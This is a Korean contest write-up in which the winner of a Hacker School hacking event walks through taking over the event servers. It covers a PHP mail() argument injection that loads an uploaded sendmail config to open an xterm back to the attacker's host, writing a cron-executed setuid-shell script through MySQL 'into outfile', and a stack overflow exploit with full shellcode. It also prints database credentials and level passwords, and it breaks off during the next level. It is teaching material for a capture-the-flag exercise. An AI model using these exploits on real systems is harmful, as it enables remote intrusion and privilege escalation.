::: 다음은 이번 제 3회 Hacking The Linux Contest에서 우승을 차지한 loafers님의 공격 보고서입니다. :::

제 3회 해커스쿨 이벤트 서버 공략 보고서

 

o 작성자

 

  - 대회아이디: loafers

  - 등록번호: #H4SC30267

  - 유진호, 전남대학교 전산학과 대학원, jhyou@chonnam.chonnam.ac.kr

 

o 대회 최종 결과

 

  - guru3까지 획득

 

============================================================================

1 문제 소개

 

o 레벨 1 서버: attack.hackerschool.org

 

  1) level1 획득

     레벨 1 서버의 원격 침입

     PHP의 mail()함수와 sendmail 조합에 의한 취약점 공격

     아파치 웹서버의 권한인 level1으로 실행되는 쉘(xterm) 접속

 

  2) level2 획득

     level2 권한으로 실행되는 MySQL 데이터베이스에 접근한 후,

     level2 사용자의 crontab 작업에의해 주기적으로 실행되는

     /var/lib/mysql/HaCkMe를 조작하여 level2 setuid 쉘 획득

 

  3) level3 획득

     /home/level3/Hack_Me 프로그램 버퍼 오버플로우 공격

 

o 레벨 2 서버: attack2.hackerschool.org

 

  1) guru1 획득

     attack2.hackerschool.org의 29444 포트에 대한 원격 공격

     버퍼 오버플로우 공격 + 오메가 프로젝트 기법

 

  2) guru2 획득

     attack2.hackerschool.org의 29544 포트에 대한 원격 공격

     버퍼 오버플로우 공격 + 오메가 프로젝트 기법

     

  3) guru3 획득

     /home/guru3/hackme3 버퍼 오버플로우 공격

     오메가 프로젝트 기법 활용

 

  4) guru4 획득

     /home/guru4/ov 공격

     버퍼오버플로우 + chroot() 벗어나기

 

  5) root 획득

 

===========================================================================

2 level1 획득

 

2.1 문제 개요

 

http://attack.hackerschool.org 홈페이지에는 파일업로드가 가능한 제로보드 게시판

(http://attack.hackerschool.org/board.html)이 설치되어 있고,

웹메일서비스 페이지(http://attack.hackerschool.org/mailservice.html)가 있다.

 

o 웹메일 서비스 페이지(http://attack.hackerschool.org/mailservice.html)

 

+--------------------------------------------------------------+

| [(웃고있는 구타그림)구타누리]     [노란색메뉴][웹메일서비스] |

|                                                              |

| 웹메일서비스                                                 |

| ==================================================           |

| 보내는 사람: [                  ]                            |

|   받는 사람: [                  ]                            |

|        제목: [                  ]                            |

|       내용: +------------------------------------+           |

|             |                                    |           |

|             |                                    |           |

|             |                                    |           |

|             |                                    |           |

|             |                                    |           |

|             |                                    |           |

|             +------------------------------------+           |

|                          [멜보내기]                          |

+--------------------------------------------------------------+

 

이 페이지에서 메일을 작성하여 [멜보내기]를 클릭하면

http://attack.hackerschool.org/sendjoong.html 프로그램에 의해 메일이 보내진다.

 

문제는 이 메일보내기 프로그램의 입력을 조작하여 웹 서버 권한의 쉘을 획득하는

것이다.

 

2.2 공격 과정

 

o http://attack.hackerschool.org/mailservice.html 소스

--------------------------------------------------------------------------

<html>

 

<head>

<meta http-equiv="content-type" content="text/html; charset=euc-kr">

<title>제목있어요</title>

<meta name="generator" content="Namo WebEditor v5.0">

</head>

 

<body bgcolor="white" text="black" link="blue" vlink="purple" alink="red">

<table align="center" cellpadding="0" cellspacing="0" width="690" height="118">

    <tr>

        <td>

            <p><img src="menu.gif" width="690" height="118" border="0" usemap="#ImageMap1"></p>

        </td>

    </tr>

</table>

<table align="center" cellpadding="0" cellspacing="0" width="500" height="400" background="mailback.gif">

    <tr>

        <td height="50">

            <p>&nbsp;</p>

        </td>

    </tr>

    <tr>

        <td width="500" height="350">

            <table align="center" cellpadding="0" cellspacing="0" width="500" height="300">

                <tr><form method=get action=sendjoong.html>

 

                    <td width="120" height="20">

                        <p>&nbsp;</p>

                    </td>

                    <td width="380" height="20"><p align="left"><font color="#666666"><span

style="font-size:9pt;"><input type="text" name="first_arg" maxlength="50" size="35"

style='background-color:#ffffff;border:1 solid #aeaeae;color:#fd9b3b'></span></font></td>

                </tr>

                <tr>

                    <td width="120" height="20">

                        <p>&nbsp;</p>

                    </td>

                    <td width="380" height="20"><p align="left"><font color="#666666"><span

style="font-size:9pt;"><input type="text" name="second_arg" maxlength="50" size="35"

style='background-color:#ffffff;border:1 solid #aeaeae;color:#fd9b3b'></span></font></td>

                </tr>

                <tr>

                    <td width="120" height="20">

                        <p>&nbsp;</p>

                    </td>

                    <td width="380" height="20"><p align="left"><font color="#666666"><span

style="font-size:9pt;"><input type="text" name="third_arg" maxlength="50" size="35"

style='background-color:#ffffff;border:1 solid #aeaeae;color:#fd9b3b'></span></font></td>

                </tr>

                <tr>

                    <td width="120">

                        <p>&nbsp;</p>

                    </td>

                    <td width="380" rowspan="2">

                            <p align="left"><font color="#666666"><span style="font-size:9pt;"><textarea

name="fourth_arg" maxlength="30" style='background-color:#ffffff;border:1 solid #aeaeae;color:#fd9b3b'

rows="10" cols="40"></textarea></span></font></p>

                    </td>

                </tr>

                <tr>

                    <td width="120">

                        <p>&nbsp;</p>

                    </td>

                </tr>

                <tr>

                    <td width="500" height="60" colspan="2">

<input type=hidden name="fifth_arg" value="hacker">

                        <p align="center"><a href=# onclick=submit();><img src="send.gif" width="144"

height="60" border="0"></p>

                    </td>

                </tr></form>

            </table>

        </td>

    </tr>

</table>

<p>&nbsp;</p>

<map name="ImageMap1">

<area shape="rect" coords="368, 18, 510, 63" href="yellow.html">

<area shape="rect" coords="512, 20, 653, 73" href="mailservice.html">

<area shape="rect" coords="39, 6, 188, 63" href="main.html">

</map>

</body>

 

</html>

------------------------------------------------------------------------------

 

o http://attack.hackerschool.org/sendjoong.html

------------------------------------------------------------------------------

<?

 

if( !$first_arg  || !$second_arg || !$third_arg || !$fourth_arg ){

        echo("<script>alert('다 입력해주길 간절히 바래요');history.back();</script>");

        exit;

}

 

$header = "Return-Path: $first_arg\n";

$header .= "From: xxx <$first_arg>\n";

$header .= "Reply-to: $first_arg\n";

$header .= "X-Mailer: HACKERSCHOOL\n";

$header .= "Content-Type: text/html;";

$header .= "charset=euc-kr\n";

$header .= "MIME-Version: 1.0\r\n";

mail("$second_arg","$third_arg","$fourth_arg",$header,"$fifth_arg");

 

?>

<html>

 

<head>

<meta http-equiv="content-type" content="text/html; charset=euc-kr">

<title>기둘려! </title>

<meta name="generator" content="Namo WebEditor v5.0">

<meta http-equiv="refresh" content="5;url=sendok.html">

</head>

 

<body bgcolor="white" text="black" link="blue" vlink="purple" alink="red">

<p align="center"><img src="send01.gif" width="490" height="386" border="0"></p>

</body>

 

</html>

------------------------------------------------------------------------------

 

mailservice.html에는 다음과 같은 <form>문이 있다.

 

<form method=get action=sendjoong.html>

    <input type="text" name="first_arg" maxlength="50" size="35">

    <input type="text" name="second_arg" maxlength="50" size="35">

    <input type="text" name="third_arg" maxlength="50" size="35">

    <textarea name="fourth_arg" maxlength="30" rows="10" cols="40">

    <input type=hidden name="fifth_arg" value="hacker">

</form>

 

즉, 작성된 메일은 sendjoong.html에 다음과 같은 형식으로 전달된다.

 

  o 메일보내기 URL

 

  http://attack.hackerschool.org/sendjoong.html?first_arg="송신자주소"&

  second_arg="수신자주소"&third_arg="메일제목"&fourth_arg="메일내용"&

  fifth_arg="hacker"

 

  (위 3줄은 모두 한 줄이다.)

 

sendjoong.html은 PHP 스크립트로서 다음과 같이 mail() 함수를 사용하여

메일을 보낸다.

 

  <?

  mail("$second_arg","$third_arg","$fourth_arg",$header,"$fifth_arg");

  ?>

 

mail()함수의 매개변수는 다음과 같다.

 

   mail( "받는이", "제목", "내용", "메일헤더", "sendmail 매개변수" );

 

mail() 함수는 다음과 같이 sendmail 프로그램을 실행시킨다.

 

    $ /usr/sbin/sendmail -t -i $fifth_arg <<SENDMAIL

    To: $second_arg

    Subject: $third_arg

    Return-Path: $first_arg

    From: xxx <$first_arg>

    Reply-to: $first_arg

    X-Mailer: HACKERSCHOOL

    Content-Type: text/html

    charset=euc-kr

    MIME-Version: 1.0\r\n

    $fourth_arg

    SENDMAIL

 

즉, $fifth_arg는 sendmail 프로그램의 매개변수이다.

공격자는 $fifth_arg를 조작하여 sendmail이 공격자가 원하는 프로그램을

실행시킬 수 있다.

 

sendmail 프로그램은 서버 내부 사용자에게 메일을 보낼 때, /usr/bin/procmail

프로그램을 실행한다. 이에 대한 설정은 sendmail 프로그램의 설정 파일에 다음과

같이 지정되어 있다.

 

   Mlocal, P=/usr/bin/procmail, A=procmail -t -Y -a $h -d $u

 

위 설정을 아래와 같이 바꾼다면 sendmail이 procmail 대신 xterm을 실행시킨다.

 

   Mlocal, P=/usr/X11R6/bin/xterm, A=xterm -display 192.168.1.1:0

 

sendmail의 매개변수로 "-C 설정파일"를 주어 설정파일을 지정할 수 있다.

 

그러므로, 공격자는 서버에 조작된 설정파일을 저장한 후, 위의 <메일보내기 URL>

코드의 $fifth_arg를 "-C 조작된설정파일"로 설정하므로써 sendmail이

공격자가 원하는 프로그램을 실행시킬 수 있다.

 

설정파일은 다음과 같이 만든다.

 

    $ cat loafers.cf

    OQ/tmp

    Sparse=0

    R$*     $#local $@ $1 $: $1

    Mlocal, P=/usr/X11R6/bin/xterm, A=xterm -display 192.168.1.1:0

 

위에서 R$* 과 $#local 문자열 사이엔 탭(\t)이 있다.

"/usr/X11R6/bin/xterm -display 192.168.1.1:0" 명령은 192.168.1.1의

X 윈도우 서버에 X 터미널을 띄우는 것이다.

 

이제 남은 문제는 조작된 설정파일을 서버에 저장시키는 것이다.

http://attack.hackerschool.org/board.html에는 파일 업로드가 가능한

제로보드 게시판이 있다. 이 게시판을 통해 loafers.cf 파일을 업로드하면

된다.

 

업로드한 loafers.cf는 어느 디렉토리에 저장될까?

 

먼저 게시판의 위치는 board.html의 아래 코드를 통해 알 수 있다.

 

    <iframe src="bbs/zboard.php?id=free_board" >

 

o http://attack.hackerschool.org/board.html

-----------------------------------------------------------------------------

<html>

 

<head>

<meta http-equiv="content-type" content="text/html; charset=euc-kr">

<title>제목있음 -구타누리임</title>

<meta name="generator" content="Namo WebEditor v5.0">

</head>

 

<body bgcolor="white" text="black" link="blue" vlink="purple" alink="red">

<p align="center"><a href=main.html><img src="main2.gif" width="690" height="494" border="0" usemap=

"#ImageMap1"></a></p>

<div id="layer1" style="width:534px; height:323px; position:absolute; left:243px; top:95px; z-index:1;">

 

    <p><iframe frameborder="0" height="300" leftmargin="0" marginheight="0" marginwidth="0" scrolling=

"auto" src="bbs/zboard.php?id=free_board" topmargin="0" width="530" ></p>

 

</div>

<p><map name="ImageMap1">

<area shape="rect" coords="514, 25, 650, 69" href="mailservice.html">

 

<area shape="rect" coords="366, 19, 512, 70" href="yellow.html">

<area shape="rect" coords="36, 8, 208, 72" href="main.html">

</map>

</p>

</body>

 

</html>

-----------------------------------------------------------------------------

 

제로보드는 업로드된 파일들을 "/제로보드설치경로/data/게시판이름" 디렉토리에

저장한다.

 

홈페이지가 설치된 예상 위치는 다음과 같다.

    /var/www/html

    /usr/local/apache/htdocs

    /home/httpd/html

    ...

 

attack.hackerschool.org의 홈페이지는 /var/www/html에 있었다.

 

그러므로, loafers.cf의 저장위치는 /var/www/html/bbs/data/free_board/loafers.cf

이다.

 

이제 공격을 위한 준비가 완료되었다.

loafers.cf를 게시판을 통해 업로드한 후, 서버의 지역 사용자인 root에게 메일을

보내는 질의를 서버에 보낸다.

 

$ wget "http://attack.hackerschool.org/sendjoong.html?first_arg=nobody&\

second_arg=root&third_arg=xxx&fourth_arg=yyy&\

fifth_arg=-C/var/www/html/bbs/data/free_board/loafers.cf"

 

이제 loafers의 모니터에는 attack.hackerschool.org에 접속된 X 터미널이 보인다.

 

attack.hackerschool.org의 아파치 웹서버는 level1 아이디의 권한으로 실행되고

있었다.

 

o level1 등록

 

    [level1@attack tmp]$ hostname

    attack.hackerschool.org

    [level1@attack tmp]$ id

    uid=501(level1) gid=501(level1) groups=501(level1)

 

    [level1@attack level1]$ /bin/register

    등록 번호를 입력하세요 : #H4SC30267

    정보가 성공적으로 기록되었습니다.

    level1의 비밀번호는 zjaqorgha(컴백홈) 입니다.

 

===========================================================================

3 level2 획득

 

3.1 문제 설명

 

o MySQL은 level2 사용자 권한으로 실행되고 있다.

 

[level1@attack bbs]$ ps aux | grep mysql

level2    1133  0.0  1.7 20600 2192 tty1     S    Feb10   0:00 /usr/local/mysql/

level2    1135  0.0  1.7 20600 2192 tty1     S    Feb10   0:00 /usr/local/mysql/

level2    1136  0.0  1.7 20600 2192 tty1     S    Feb10   0:00 /usr/local/mysql/

 

 

o level2 사용자의 cron 작업이 다음과 같이 등록되어있다.

 

[level2@attack level2]$ crontab -l

# DO NOT EDIT THIS FILE - edit the master and reinstall.

# (/tmp/crontab.22882 installed on Sat Feb  8 19:09:58 2003)

# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)

*/2 * * * * chmod +x /var/lib/mysql/HaCkMe

*/4 * * * * /var/lib/mysql/HaCkMe

*/10 * * * * rm -rf /var/lib/mysql/HaCkMe

 

4분마다 한번씩 /var/lib/mysql/HaCkMe가 실행되도록 되어있었다.

 

o 문제 개요

 

     level2 권한으로 실행되는 MySQL 데이터베이스에 접근한 후,

     level2 사용자의 crontab 작업에의해 주기적으로 실행되는

     /var/lib/mysql/HaCkMe를 조작하여 level2 setuid 쉘 획득

 

 

3.2 공격 과정

 

o 제로보드의 config.php 파일에는 제로보드용 MySQL 데이터베이스의

  사용자 아이디와 비밀번호, 데이터베이스명이 들어있다.

 

[level1@attack bbs]$ cat /var/www/html/bbs/config.php

<?

localhost

guta

rnxk!snfl

guta

?>

 

 

o level2 사용자의 cron 작업 파일이 발견되었다.

 

[level1@attack bbs]$ ls -l /var/spool/cron/level2

-rw----r--    1 root     level2        311 Feb  8 23:16 /var/spool/cron/level2

 

o /var/spool/cron/level2 파일 읽기

 

[level1@attack bbs]$ mysql -u guta -p guta < /var/spool/cron/level2

Enter password:rnxk!snfl

ERROR 1064 at line 4: You have an error in your SQL syntax near '*/2 * * * * chmod +x /var/lib/mysql/HaCkMe

*/4 * * * * /var/lib/mysql/HaCkMe

*/1' at line 1

[level1@attack bbs]$

 

level2의 cron 작업에는 /var/lib/mysql/HaCkMe 파일을 4분마다 주기적으로 실행하도록

설정되어 있다.

 

*/2 * * * * chmod +x /var/lib/mysql/HaCkMe

*/4 * * * * /var/lib/mysql/HaCkMe

 

o /var/lob/mysql/HaCkMe 생성

 

level2 setuid bash 쉘을 생성하는 코드를 담은 /var/lob/mysql/HaCkMe 생성

 

[level1@attack bbs]$ mysql -u guta -p guta

Enter password: rnxk!snfl

Welcome to the MySQL monitor.  Commands end with ; or \g.

Your MySQL connection id is 1577 to server version: 3.23.53-log

 

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

 

mysql> create table loafers ( testtext char(200) NOT NULL );

Query OK, 0 rows affected (0.07 sec)

 

mysql> insert into loafers values ('#!/bin/sh');

Query OK, 1 row affected (0.00 sec)

 

mysql> insert into loafers values

    -> ('cp /bin/bash /tmp/temp/bash;chmod +s /tmp/temp/bash');

Query OK, 1 row affected (0.00 sec)

 

mysql> select * from loafers into outfile '/var/lib/mysql/HaCkMe';

Query OK, 2 rows affected (0.00 sec)

 

mysql> quit

Bye

 

o /var/lib/mysql/HaCkMe 파일이 생성되었다.

 

[level1@attack level1]$ ls -l /var/lib/mysql/HaCkMe

-rw-rw-rw-    1 level2   level2         67 Feb 12 10:40 /var/lib/mysql/HaCkMe

 

[level1@attack level1]$ cat /var/lib/mysql/HaCkMe

#!/bin/sh

cp /bin/bash /tmp/temp/bash;chmod +s /tmp/temp/bash

 

o level2의 cron 작업에 의해 /var/lib/mysql/HaCkMe이 실행되어

  level2 setuid /tmp/temp/bash 쉘이 생성됨

 

[level1@attack level1]$ ls -l /var/lib/mysql/HaCkMe

-rwxrwxrwx    1 level2   level2         67 Feb 12 10:40 /var/lib/mysql/HaCkMe

 

[level1@attack level1]$ ls -l /tmp/temp/bash

-rwsr-sr-x    1 level2   level2     541096 Feb 12 11:04 /tmp/temp/bash

 

[level1@attack level1]$ /tmp/temp/bash -p

bash-2.05a$ id

uid=501(level1) gid=501(level1) euid=502(level2) egid=502(level2) groups=501(level1)

bash-2.05a$

 

o real uid level2 획득

 

bash-2.05a$ cd /tmp/temp/

bash-2.05a$ cat >sh.c

main() { setreuid(geteuid(),geteuid()); execl("/bin/bash", "sh", 0); }

bash-2.05a$ gcc -o sh sh.c

bash-2.05a$ ./sh

sh-2.05a$ id

uid=502(level2) gid=501(level1) groups=501(level1)

 

o 등록

 

sh-2.05a$ /bin/register

등록 번호를 입력하세요 : #H4SC30267

정보가 성공적으로 기록되었습니다.

level2의 비밀번호는 dhfpswlwbtm(오렌지쥬스) 입니다.

sh-2.05a$

 

 

o 자수하여 광명찾기!

 

loafers는 실제로 위 과정에 따라 level2 권한을 획득하지 않았다.

/tmp를 슬쩍 보니 sepi라는 이름의 level2 setuid bash 쉘이 있었다.

'옳거니~ 왠 떡이냐!'하구선 level2 버스를 무임승차를 했다.

 

[level1@attack level1]$ ls -l /tmp/sepi

-rwsr-sr--    1 level2   level1     541096 Feb  9 15:58 /tmp/sepi

 

[level1@attack mysql]$ /tmp/sepi -p

sepi-2.05a$ id

uid=501(level1) gid=501(level1) euid=502(level2) egid=502(level2)

groups=501(level1)

sepi-2.05a$

 

sepi님 고마워요~ 이 자리를 빌어 감사드립니다.

 

===========================================================================

4 level3 획득

 

4.1 문제 설명

 

/home/level3/Hack_Me는 level3 setuid된 프로그램으로서, 이것을 공격하여

level3 권한을 획득하는 것이 문제이다.

 

[level2@attack level2]$ ls -l /home/level3/Hack_Me

-rwsr-x---    1 level3   level2      14513 Feb  8 05:00 /home/level3/Hack_Me

 

o 힌트: Hack_Me 프로그램 소스

 

[level2@attack level2]$ cat /home/level2/level2_hint.txt

 

/* /home/level3/Hack_Me.c */

 

#include <stdio.h>

#include <stdlib.h>

 

extern char **environ;

 

main(int argc, char *argv[])

{

        char buf[4];

        int egghunter;

 

        if(argc != 1)

        {

                printf("인자를 줄 수 없음!\n");

                exit(1);

        }

 

        for(egghunter=0; environ[egghunter]; egghunter++)

        memset(environ[egghunter], 0, strlen(environ[egghunter]));

 

        strcpy(argv[0], "./level3");

 

        fgets(buf, 13, stdin);

        memset(buf, 0, 8);

 

        if(buf[11]=='\x08' || buf[11]=='\x42' || buf[11]=='\x41' || buf[11] == '\x40')

        {

                printf("공유 라이브러리 등을 사용할 수 없음!\n");

                exit(1);

        }

}

 

-------------------------------------------------------------------------------

 

Hack_Me는 버퍼 오버플로우 허점을 가지고 있다.

4바이트 길이의 buf 배열에 13바이트까지 저장하기 때문이다.

 

        char buf[4];

        fgets(buf, 13, stdin);

 

 

o Hack_Me의 특징

 

- 프로그램 매개변수를 허용하지 않는다.

 

        if(argc != 1)

        {

                printf("인자를 줄 수 없음!\n");

                exit(1);

        }

 

  쉘코드를 프로그램 매개변수에 넣으려면 argv[0]에 넣어야 함을 의미한다.

 

- 환경변수들을 지운다.

 

        for(egghunter=0; environ[egghunter]; egghunter++)

        memset(environ[egghunter], 0, strlen(environ[egghunter]));

 

  쉘코드를 환경변수에 넣을 수 없음을 의미한다.

  argv[0]를 이용하면 된다.

 

- argv[0]를 "./level3"로 바꾼다.

 

        strcpy(argv[0], "./level3");

 

  쉘코드를 argv[0]에 넣을 때에는 "123456789" + "쉘코드"와 같이

  "./level3" 문자열의 길이인 9바이트가 더미문자열 뒤에 쉘코드를 위치시켜야

  함을 의미한다.

 

- 리턴주소가 다음 영역을 가리키지 못하도록 검사한다.

  0x08xxxxxxxx: 텍스트코드,정적변수,힙영역

  0x4xxxxxxxxx: 공유라이브러리 코드 영역

 

  if(buf[11]=='\x08' || buf[11]=='\x42' || buf[11]=='\x41' || buf[11] == '\x40')

 

  즉, 쉘코드는 스택영역에 위치시켜야 한다.

 

 

4.2 공격 과정

 

o 공격 방법

 

- argv[0](프로그램이름 부분)에 "./level3x" + "shellcode"를 넣어 Hack_Me를

  실행시키고 Hack_Me의 입력에 "xxxxyyyy" + "<쉘코드주소4바이트값>"을 넣어,

  버퍼오버플로우를 일으켜 main() 함수 리턴시 쉘코드로 점프하도록 한다.

 

o gdb를 이용한 스택 구조 분석과정

 

[level2@attack loafers]$ gdb ./exp

GNU gdb Red Hat Linux (5.1.90CVS-5)

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) run

Starting program: /home/level3/USER_WORK/loafers/exp

ret = 0xbfffffb9

 

Program received signal SIGTRAP, Trace/breakpoint trap.

0x40000b50 in _start () from /lib/ld-linux.so.2

(gdb) break main

Breakpoint 1 at 0x8048470

(gdb) cont

Continuing.

 

Breakpoint 1, 0x08048470 in main ()

 

- ebp 레지스터 값

 

(gdb) print $ebp

$2 = (void *) 0xbffffea8

 

- 쉘코드의 위치

 

(gdb) x/s 0xbfffffb0

0xbfffffb0:      "./level3x?037[\211?203?a1?210\002B\211?211\032\203?004\211\002?v?2001?211??200汪���

                  /tmp/sh"

 

- 프로그램이름의 위치

 

(gdb) x/s 0xbfffffe7

0xbfffffe7:      "/home/level3/Hack_Me"

(gdb)

 

- buf의 주소 계산

 

[level2@attack level3]$ gdb ./Hack_Me

GNU gdb Red Hat Linux (5.1.90CVS-5)

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) disassemble main

Dump of assembler code for function main:

0x8048580 <main>: push   %ebp

0x8048581 <main+1>:    mov    %esp,%ebp

0x8048583 <main+3>:    sub    $0x8,%esp

0x8048586 <main+6>:    cmpl   $0x1,0x8(%ebp)

0x804858a <main+10>:   je     0x80485a8 <main+40>

 

~~~~~~~~~~~~~~~~~~~~~~~~~ 중간 생략 ~~~~~~~~~~~~~~~~~~~~~~~~~~~

0x8048619 <main+153>:  sub    $0x4,%esp

0x804861c <main+156>:  pushl  0x8049884

0x8048622 <main+162>:  push   $0xd

0x8048624 <main+164>:  lea    0xfffffffc(%ebp),%eax  ---> buf의 주소 = ebp - 4

0x8048627 <main+167>:  push   %eax

0x8048628 <main+168>:  call   0x8048410 <fgets>

0x804862d <main+173>:  add    $0x10,%esp

 

~~~~~~~~~~~~~~~~~~~~~~~~~ 중간 생략 ~~~~~~~~~~~~~~~~~~~~~~~~~~~

0x804867c <main+252>:  leave

0x804867d <main+253>:  ret

0x804867e <main+254>:  mov    %esi,%esi

End of assembler dump.

----------------------------------------------------------------

(gdb) quit

 

o Hack_Me 프로그램의 실행시 스택 구조와 버퍼오버플로우 공격

 

  0xbffffffa :

  0xbfffffe7 : "/home/level3/Hack_Me"

  0xbfffffb9 : <쉘코드>    <-------------------------+

  0xbfffffb0 : "./level3x" (argv[0])                 |

                                                     |

  0xbffffea8 :  ebp + 20 : envp                      | buf + 8 위치의 리턴주소를

  0xbffffea4 :  ebp + 16 : argv                      | 쉘코드 주소로 바꾼다.

  0xbffffea0 :  ebp + 12 : argc       : buf + 12     |

  0xbffffeac :  ebp +  8 : 리턴주소   : buf +  8  ---+

  0xbffffea8 :  ebp +  0 : saved ebp  : buf +  4

  0xbffffea4 :  ebp -  4 : buf        : buf +  0

 

fgets(buf, 13, stdin) 함수 호출에 대한 입력으로 12자를 입력하면

8~11번째 문자열이 리턴주소를 덮어쓰게 된다.

 

o 공격과정

 

- argv[0]에 "./level3x" + "쉘코드"를 넣어 /home/level3/Hack_Me를 실행시키는

  exp.c 작성

  쉘코드는 /tmp/sh를 실행시키도록 작성되었다.

 

[level2@attack level2]$ mkdir /home/level3/USER_WORK/loafers

[level2@attack level2]$ cd /home/level3/USER_WORK/loafers

 

[level2@attack loafers]$ cat exp.c

#include <unistd.h>

#include <string.h>

 

char shellcode[] =

"./level3x"

"\xeb\x1f\x5b\x89\xda\x83\xc2\x07\x31\xc0\x88\x02\x42\x89\xd1\x89"

"\x1a\x83\xc2\x04\x89\x02\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/tmp/sh";

 

int main()

{

        char *victim_path = "/home/level3/Hack_Me";

        char *argv[3];

 

        /* Calculating address of shellcode */

        int ret = 0xbffffffa - strlen(victim_path) - strlen(shellcode) + 9;

        printf("ret = %p\n", ret);

 

        argv[0] = shellcode;

        argv[1] = NULL;

        execve(victim_path, argv, NULL);

}

 

[level2@attack loafers]$ gcc -o exp exp.c

 

- level3의 setuid된 bash쉘을 /home/level3/USER_WORK/loafers/bash에 생성하는

  /tmp/sh 프로그램 작성

 

[level2@attack loafers]$ cat makesh.c

#include <stdio.h>

main()

{

        FILE *fp, *fq;

        int c;

        fp = fopen("/bin/bash", "r");

        fq = fopen("/home/level3/USER_WORK/loafers/bash", "w");

        while ((c = fgetc(fp)) != EOF)

                fputc(c, fq);

        fclose(fp);

        fclose(fq);

        chmod("/home/level3/USER_WORK/loafers/bash", 04777);

}

[level2@attack loafers]$ gcc -o /tmp/sh makesh.c

 

- 리턴 주소 계산

 

[level2@attack loafers]$ ./exp

ret = 0xbfffffb9

123123

공유 라이브러리 등을 사용할 수 없음!

 

- 공격

 

[level2@attack loafers]$ chmod 777 /home/level3/USER_WORK/loafers

[level2@attack loafers]$ echo -ne "xxxxyyyy\xb9\xff\xff\xbf" | ./exp

ret = 0xbfffffb9

 

- SUID bash 생성 확인

 

[level2@attack loafers]$ ls -l /home/level3/USER_WORK/loafers/bash

-rwsrwxrwx    1 level3   level2     541096 Feb 12 00:20 /home/level3/USER_WORK/loafers/bash

 

- level3 real uid 획득

  effective uid를 real uid로 설정한 후 /bin/bash를 실행하는 runsh.c 작성

 

[level2@attack loafers]$ ./bash -p

bash-2.05a$ id

uid=502(level2) gid=502(level2) euid=503(level3) groups=502(level2)

 

bash-2.05a$ cat runsh.c

main()

{

        setreuid(geteuid(),geteuid());

        setregid(getegid(),getegid());

        execl("/bin/bash", "sh", 0);

}

bash-2.05a$ gcc -o runsh runsh.c

bash-2.05a$ ./runsh

sh-2.05a$ id

uid=503(level3) gid=502(level2) groups=502(level2)  

sh-2.05a$

 

야호~ level3 획득!

 

- 등록

 

sh-2.05a$ /bin/register

등록 번호를 입력하세요 : #H4SC30267

정보가 성공적으로 기록되었습니다.

level3의 비밀번호는 cordmfqhwk(책을보자) 입니다.

sh-2.05a$

 

 

===========================================================================

5 guru1 획득

 

5.1 문제 설명

 

o 문제 힌트 읽기

 

이 문제에 대한 힌트가 /home/level3/힌트.txt에 있다.

이 파일을 읽기 위해서는 level3 (e)uid와 level2 gid를 가진 사용자만이

읽을 수 가 있다.

 

bash-2.05a$ ls -ld /home/level3

dr-xr-x---    4 root     level2       4096 Feb  9 10:54 /home/level3

 

bash-2.05a$ ls -l /home/level3

total 36

-r--r-----    1 level3   level3        245 Feb  9 10:49 힌트2.txt

-r--r-----    1 level3   level3        266 Feb  9 10:54 힌트3.txt

-r--r-----    1 level3   level3        880 Feb  8 13:38 힌트.txt

-rwsr-x---    1 level3   level2      14513 Feb  8 05:00 Hack_Me

d-wx-wx-wt    9 level3   level3       4096 Feb 11 22:07 tmp

drwx-wx---   10 root     level2       4096 Feb 12 00:55 USER_WORK

 

bash-2.05a$ id

uid=502(level2) gid=502(level2) euid=503(level3) groups=502(level2)

 

o guru1 획득 문제

 

attack2.hackerschool.org의 29444 포트에는 /home/guru1/hackme1 프로그램이

설치되어있다.

 

- hackme1 프로그램 소스

--------------------------------------------------------------------------

#include <stdio.h>

#include <stdlib.h>

 

main(int argc, char *argv[])

{

char buf[4];

 

fgets(buf, 21, stdin);

 

if(buf[0] != 'o' || buf[1] != 'v' || buf[2] != 'e' ||

buf[3] != 'r' || buf[4] != 'f' || buf[5] != 'l' ||

buf[6] != 'o' || buf[7] != 'w')

{

 printf("당신은 인증된 사용자가 아닙니다.\n");

 exit(-1);

}

 

memset(buf+12, 0, 4);

 

if(buf[19]=='\x08' || buf[19]=='\x42' || buf[19]=='\x41' || buf[19] == '\x40')

{

 printf("Error\n");

 exit(-1);

}

 

}

---------------------------------------------------------------------------

 

이 프로그램은 다음 부분에서 표준입력에 대해 버퍼오버플로우를 일으킨다.

 

    char buf[4];

    fgets(buf, 21, stdin);

 

- hackme1 프로그램의 특징

 

  * 입력된 buf의 앞부분이 "overflow"인지 검사한다.

 

    if(buf[0] != 'o' || buf[1] != 'v' || buf[2] != 'e' ||

    buf[3] != 'r' || buf[4] != 'f' || buf[5] != 'l' ||

    buf[6] != 'o' || buf[7] != 'w')

 

  * buf[19] 위치에 텍스트코드,정적변수,힙영역의 주소(0x08xxxxxx)와

    공유라이브러리의 주소(0x4xxxxxxxxx)가 저장되지 못하도록 검사한다.

 

     if(buf[19]=='\x08' || buf[19]=='\x42' || buf[19]=='\x41' || buf[19] == '\x40')

 

 

5.2 공격과정

 

5.2.1 /home/level3/힌트.txt 읽기

 

- attack.hackerschool.org telnet 접속

 

[2 event3]# telnet attack.hackerschool.org

Trying 218.149.4.156...

Connected to attack.hackerschool.org (218.149.4.156).

Escape character is '^]'.

_.,-+~`"^=-.,_.,-+~`"^=-.,_.,-+~`"^=-.,_.,-+~`"^=-.,_.,-+~`"^=-.,_

 

  :: 제 3회 해킹 이벤트 ::               :: 해커스쿨 주최 ::

 

                        **공격 전용 서버**

        _   _    ___     ____   _  __   ___   _   _    ____

       | | | |  / _     / ___| | |/ / |_ _| | | |  / ___|

       | |_| | | |_| | | |     | ' /   | |  |   | | |  _

       |  _  | |  _  | | |___  | .   | |  | | | | |_| |

       |_| |_| |_| |_|    ___| |_||___| |_| |  ___|

              _       ___   _   _   _   _  __  __

             | |     |_ _| | | | | | | |  /

        The  | |      | |  |   | | | | |   /

